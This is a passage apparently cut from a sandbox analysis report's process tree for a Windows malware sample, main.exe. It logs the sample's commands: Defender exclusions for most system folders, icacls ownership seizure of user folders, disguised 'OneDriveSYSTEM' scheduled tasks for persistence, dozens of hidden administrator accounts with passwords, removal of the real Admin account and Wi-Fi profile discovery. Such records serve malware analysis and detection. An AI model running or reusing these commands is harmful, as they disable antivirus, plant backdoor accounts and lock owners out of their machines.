    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:1544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Downloads" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:3128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:412
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Documents" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$task=Get-ScheduledTask -TaskName \"OneDriveSYSTEM\" $settings=$task.Settings $settings.StartWhenAvailable=$true $settings.StopIfGoingOnBatteries=$false $settings.ExecutionTimeLimit=\"PT0S\" Set-ScheduledTask -TaskName \"OneDriveSYSTEM\" -Settings $settings"
    3⤵
    PID:3808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user þëÝÝ o9FFx2foji /add"
    3⤵
    PID:2408
  - - C:\Windows\system32\net.exe
      net user þëÝÝ o9FFx2foji /add
      4⤵
      PID:772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user þëÝÝ o9FFx2foji /add
        5⤵
        
        PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\Music'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T"
    3⤵
    PID:1120
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin" /setowner "C:\Users\Admin\AppData\Roaming\main.exe" /T
      4⤵
      Modifies file permissions
      PID:2272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators þëÝÝ /add"
    3⤵
    PID:4844
  - - C:\Windows\system32\net.exe
      net localgroup Administrators þëÝÝ /add
      4⤵
      PID:4652
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators þëÝÝ /add
        5⤵
        
        PID:4928
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\LocalLow'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f"
    3⤵
    PID:5032
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogon" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogon /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:772
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators "Admin" /delete"
    3⤵
    PID:3700
  - - C:\Windows\system32\net.exe
      net localgroup Administrators "Admin" /delete
      4⤵
      PID:3412
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "Admin" /delete
        5⤵
        
        PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÜõÜÜÕÕü LtlaGv2elp /add"
    3⤵
    PID:1112
  - - C:\Windows\system32\net.exe
      net user ÜõÜÜÕÕü LtlaGv2elp /add
      4⤵
      PID:2044
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÜõÜÜÕÕü LtlaGv2elp /add
        5⤵
        
        PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f"
    3⤵
    PID:2468
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "OneDriveSYSTEMLogoff" /tr "C:\Users\Admin\AppData\Roaming\main.exe" /sc onlogoff /rl HIGHEST /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÜõÜÜÕÕü /add"
    3⤵
    PID:2608
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÜõÜÜÕÕü /add
      4⤵
      PID:1856
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÜõÜÜÕÕü /add
        5⤵
        
        PID:3808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÚÚ°ÚÖÚ mYTjPgvxlq /add"
    3⤵
    PID:3364
  - - C:\Windows\system32\net.exe
      net user ÚÚ°ÚÖÚ mYTjPgvxlq /add
      4⤵
      PID:2260
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÚÚ°ÚÖÚ mYTjPgvxlq /add
        5⤵
        
        PID:1328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÚÚ°ÚÖÚ /add"
    3⤵
    PID:4368
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÚÚ°ÚÖÚ /add
      4⤵
      PID:4656
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÚÚ°ÚÖÚ /add
        5⤵
        
        PID:1968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ê¹ð¦ÊÊ xES5Qn30Ey /add"
    3⤵
    PID:4376
  - - C:\Windows\system32\net.exe
      net user Ê¹ð¦ÊÊ xES5Qn30Ey /add
      4⤵
      PID:2584
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ê¹ð¦ÊÊ xES5Qn30Ey /add
        5⤵
        
        PID:1516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\main.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\exclusion_folder'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3692
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ê¹ð¦ÊÊ /add"
    3⤵
    PID:2408
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ê¹ð¦ÊÊ /add
      4⤵
      PID:2128
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ê¹ð¦ÊÊ /add
        5⤵
        
        PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ²Ê²² HMFW3fF9xr /add"
    3⤵
    PID:3508
  - - C:\Windows\system32\net.exe
      net user ²Ê²² HMFW3fF9xr /add
      4⤵
      PID:3048
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ²Ê²² HMFW3fF9xr /add
        5⤵
        
        PID:4584
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ²Ê²² /add"
    3⤵
    PID:2064
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ²Ê²² /add
      4⤵
      PID:1320
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ²Ê²² /add
        5⤵
        
        PID:3112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ü GgNrpvUEup /add"
    3⤵
    PID:1828
  - - C:\Windows\system32\net.exe
      net user ü GgNrpvUEup /add
      4⤵
      PID:3364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ü GgNrpvUEup /add
        5⤵
        
        PID:2492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ü /add"
    3⤵
    PID:3852
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ü /add
      4⤵
      PID:3664
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ü /add
        5⤵
        
        PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ãÐãââ xXOSR3bp1b /add"
    3⤵
    PID:3044
  - - C:\Windows\system32\net.exe
      net user ãÐãââ xXOSR3bp1b /add
      4⤵
      PID:1852
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ãÐãââ xXOSR3bp1b /add
        5⤵
        
        PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ãÐãââ /add"
    3⤵
    PID:2172
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ãÐãââ /add
      4⤵
      PID:248
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ãÐãââ /add
        5⤵
        
        PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Øñººß 6LC0RiO6Vx /add"
    3⤵
    PID:4832
  - - C:\Windows\system32\net.exe
      net user Øñººß 6LC0RiO6Vx /add
      4⤵
      PID:4816
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Øñººß 6LC0RiO6Vx /add
        5⤵
        
        PID:3760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Øñººß /add"
    3⤵
    PID:4576
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Øñººß /add
      4⤵
      PID:4308
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Øñººß /add
        5⤵
        
        PID:1368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ñóÙ´´´ SVV2OIDp9f /add"
    3⤵
    PID:3564
  - - C:\Windows\system32\net.exe
      net user ñóÙ´´´ SVV2OIDp9f /add
      4⤵
      PID:1364
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ñóÙ´´´ SVV2OIDp9f /add
        5⤵
        
        PID:1516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ñóÙ´´´ /add"
    3⤵
    PID:4248
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ñóÙ´´´ /add
      4⤵
      PID:2688
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ñóÙ´´´ /add
        5⤵
        
        PID:2040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user âù®âÙùó sweS1E0nqF /add"
    3⤵
    PID:2008
  - - C:\Windows\system32\net.exe
      net user âù®âÙùó sweS1E0nqF /add
      4⤵
      PID:3180
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user âù®âÙùó sweS1E0nqF /add
        5⤵
        
        PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators âù®âÙùó /add"
    3⤵
    PID:4724
  - - C:\Windows\system32\net.exe
      net localgroup Administrators âù®âÙùó /add
      4⤵
      PID:3772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators âù®âÙùó /add
        5⤵
        
        PID:2392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¥ßÜ dOeav4NM8p /add"
    3⤵
    PID:1428
  - - C:\Windows\system32\net.exe
      net user ¥ßÜ dOeav4NM8p /add
      4⤵
      PID:2136
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¥ßÜ dOeav4NM8p /add
        5⤵
        
        PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¥ßÜ /add"
    3⤵
    PID:2920
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¥ßÜ /add
      4⤵
      PID:2080
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¥ßÜ /add
        5⤵
        
        PID:1548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ³¡é¡éÕ YgCl6a8X9J /add"
    3⤵
    PID:2092
  - - C:\Windows\system32\net.exe
      net user ³¡é¡éÕ YgCl6a8X9J /add
      4⤵
      PID:396
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ³¡é¡éÕ YgCl6a8X9J /add
        5⤵
        
        PID:384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ³¡é¡éÕ /add"
    3⤵
    PID:3504
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ³¡é¡éÕ /add
      4⤵
      PID:2208
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ³¡é¡éÕ /add
        5⤵
        
        PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ò¹¹®ò 6amwErmS06 /add"
    3⤵
    PID:2588
  - - C:\Windows\system32\net.exe
      net user ò¹¹®ò 6amwErmS06 /add
      4⤵
      PID:460
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ò¹¹®ò 6amwErmS06 /add
        5⤵
        
        PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ò¹¹®ò /add"
    3⤵
    PID:2004
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ò¹¹®ò /add
      4⤵
      PID:4572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ò¹¹®ò /add
        5⤵
        
        PID:1092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ®®®£ò z3JpfPPUoY /add"
    3⤵
    PID:4584
  - - C:\Windows\system32\net.exe
      net user ®®®£ò z3JpfPPUoY /add
      4⤵
      PID:2116
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ®®®£ò z3JpfPPUoY /add
        5⤵
        
        PID:3556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ®®®£ò /add"
    3⤵
    PID:404
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ®®®£ò /add
      4⤵
      PID:1328
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ®®®£ò /add
        5⤵
        
        PID:4416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¤¤óñì c1fq3ghzrg /add"
    3⤵
    PID:4732
  - - C:\Windows\system32\net.exe
      net user ¤¤óñì c1fq3ghzrg /add
      4⤵
      PID:1932
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¤¤óñì c1fq3ghzrg /add
        5⤵
        
        PID:1132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¤¤óñì /add"
    3⤵
    PID:3568
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¤¤óñì /add
      4⤵
      PID:476
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¤¤óñì /add
        5⤵
        
        PID:3196
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ááééé AsZZVDffcY /add"
    3⤵
    PID:4996
  - - C:\Windows\system32\net.exe
      net user ááééé AsZZVDffcY /add
      4⤵
      PID:4820
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ááééé AsZZVDffcY /add
        5⤵
        
        PID:4480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ááééé /add"
    3⤵
    PID:1140
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ááééé /add
      4⤵
      PID:1436
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ááééé /add
        5⤵
        
        PID:2908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÌÌÍÁ iwaYNeIJvk /add"
    3⤵
    PID:4428
  - - C:\Windows\system32\net.exe
      net user ÌÌÍÁ iwaYNeIJvk /add
      4⤵
      PID:2792
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÌÌÍÁ iwaYNeIJvk /add
        5⤵
        
        PID:3924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÌÌÍÁ /add"
    3⤵
    PID:2340
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÌÌÍÁ /add
      4⤵
      PID:232
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÌÌÍÁ /add
        5⤵
        
        PID:2176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user æÏØ æ mD12mzFW6F /add"
    3⤵
    PID:2564
  - - C:\Windows\system32\net.exe
      net user æÏØ æ mD12mzFW6F /add
      4⤵
      PID:1968
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user æÏØ æ mD12mzFW6F /add
        5⤵
        
        PID:3624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators æÏØ æ /add"
    3⤵
    PID:4600
  - - C:\Windows\system32\net.exe
      net localgroup Administrators æÏØ æ /add
      4⤵
      PID:1908
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators æÏØ æ /add
        5⤵
        
        PID:3024
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÉîÉ§Éãã T08i2MOx0j /add"
    3⤵
    PID:640
  - - C:\Windows\system32\net.exe
      net user ÉîÉ§Éãã T08i2MOx0j /add
      4⤵
      PID:2572
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÉîÉ§Éãã T08i2MOx0j /add
        5⤵
        
        PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÉîÉ§Éãã /add"
    3⤵
    PID:3332
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÉîÉ§Éãã /add
      4⤵
      PID:4872
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÉîÉ§Éãã /add
        5⤵
        
        PID:2156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk get name"
    3⤵
    PID:2068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk get name
      4⤵
      PID:1596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user æééÀ K8ZpXGnS94 /add"
    3⤵
    PID:4420
  - - C:\Windows\system32\net.exe
      net user æééÀ K8ZpXGnS94 /add
      4⤵
      PID:1252
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user æééÀ K8ZpXGnS94 /add
        5⤵
        
        PID:2608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='C:' get size"
    3⤵
    PID:4936
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='C:' get size
      4⤵
      PID:2356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators æééÀ /add"
    3⤵
    PID:2392
  - - C:\Windows\system32\net.exe
      net localgroup Administrators æééÀ /add
      4⤵
      PID:4844
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators æééÀ /add
        5⤵
        
        PID:1544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='C:' get freespace"
    3⤵
    PID:2576
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='C:' get freespace
      4⤵
      PID:1636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user §§ù¢¢ qQmozqEFm9 /add"
    3⤵
    PID:2248
  - - C:\Windows\system32\net.exe
      net user §§ù¢¢ qQmozqEFm9 /add
      4⤵
      PID:384
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user §§ù¢¢ qQmozqEFm9 /add
        5⤵
        
        PID:2468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic logicaldisk where name='D:' get size"
    3⤵
    PID:5004
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic logicaldisk where name='D:' get size
      4⤵
      PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators §§ù¢¢ /add"
    3⤵
    PID:4240
  - - C:\Windows\system32\net.exe
      net localgroup Administrators §§ù¢¢ /add
      4⤵
      PID:244
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators §§ù¢¢ /add
        5⤵
        
        PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3120
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profiles
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user Ê®ÊÊ®Ê BKFpbauYSt /add"
    3⤵
    PID:1608
  - - C:\Windows\system32\net.exe
      net user Ê®ÊÊ®Ê BKFpbauYSt /add
      4⤵
      PID:1864
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user Ê®ÊÊ®Ê BKFpbauYSt /add
        5⤵
        
        PID:4748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators Ê®ÊÊ®Ê /add"
    3⤵
    PID:4104
  - - C:\Windows\system32\net.exe
      net localgroup Administrators Ê®ÊÊ®Ê /add
      4⤵
      PID:3048
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators Ê®ÊÊ®Ê /add
        5⤵
        
        PID:4412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ÔÔ¯ßßß¯ N2uY1JtZ6N /add"
    3⤵
    PID:1328
  - - C:\Windows\system32\net.exe
      net user ÔÔ¯ßßß¯ N2uY1JtZ6N /add
      4⤵
      PID:404
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ÔÔ¯ßßß¯ N2uY1JtZ6N /add
        5⤵
        
        PID:1388
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ÔÔ¯ßßß¯ /add"
    3⤵
    PID:1432
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ÔÔ¯ßßß¯ /add
      4⤵
      PID:2060
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ÔÔ¯ßßß¯ /add
        5⤵
        
        PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¨Ü vvhzYC7E3r /add"
    3⤵
    PID:856
  - - C:\Windows\system32\net.exe
      net user ¨Ü vvhzYC7E3r /add
      4⤵
      PID:3568
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¨Ü vvhzYC7E3r /add
        5⤵
        
        PID:3164
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¨Ü /add"
    3⤵
    PID:4940
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¨Ü /add
      4⤵
      PID:4996
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¨Ü /add
        5⤵
        
        PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ¬¡þþ¬¬ 8F49LkJSZv /add"
    3⤵
    PID:2264
  - - C:\Windows\system32\net.exe
      net user ¬¡þþ¬¬ 8F49LkJSZv /add
      4⤵
      PID:4772
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ¬¡þþ¬¬ 8F49LkJSZv /add
        5⤵
        
        PID:392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ¬¡þþ¬¬ /add"
    3⤵
    PID:1856
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ¬¡þþ¬¬ /add
      4⤵
      PID:5060
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ¬¡þþ¬¬ /add
        5⤵
        
        PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user à¹¹ jKvaMN3liC /add"
    3⤵
    PID:3364
  - - C:\Windows\system32\net.exe
      net user à¹¹ jKvaMN3liC /add
      4⤵
      PID:3372
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user à¹¹ jKvaMN3liC /add
        5⤵
        
        PID:4768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators à¹¹ /add"
    3⤵
    PID:3664
  - - C:\Windows\system32\net.exe
      net localgroup Administrators à¹¹ /add
      4⤵
      PID:1384
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators à¹¹ /add
        5⤵
        
        PID:1316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ðððð¬É YlS3HZqRzN /add"
    3⤵
    PID:4476
  - - C:\Windows\system32\net.exe
      net user ðððð¬É YlS3HZqRzN /add
      4⤵
      PID:3760
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ðððð¬É YlS3HZqRzN /add
        5⤵
        
        PID:1908
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ðððð¬É /add"
    3⤵
    PID:3684
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ðððð¬É /add
      4⤵
      PID:4972
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators ðððð¬É /add
        5⤵
        
        PID:2572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net user ««Ê« 0gVXJmVbFY /add"
    3⤵
    PID:2840
  - - C:\Windows\system32\net.exe
      net user ««Ê« 0gVXJmVbFY /add
      4⤵
      PID:4916
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user ««Ê« 0gVXJmVbFY /add
        5⤵
        
        PID:3036
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "net localgroup Administrators ««Ê« /add"
    3⤵
    PID:4308
  - - C:\Windows\system32\net.exe
      net localgroup Administrators ««Ê« /add
      4⤵
      PID:1440
    - - C:\Windows\system32\net1.exe
        
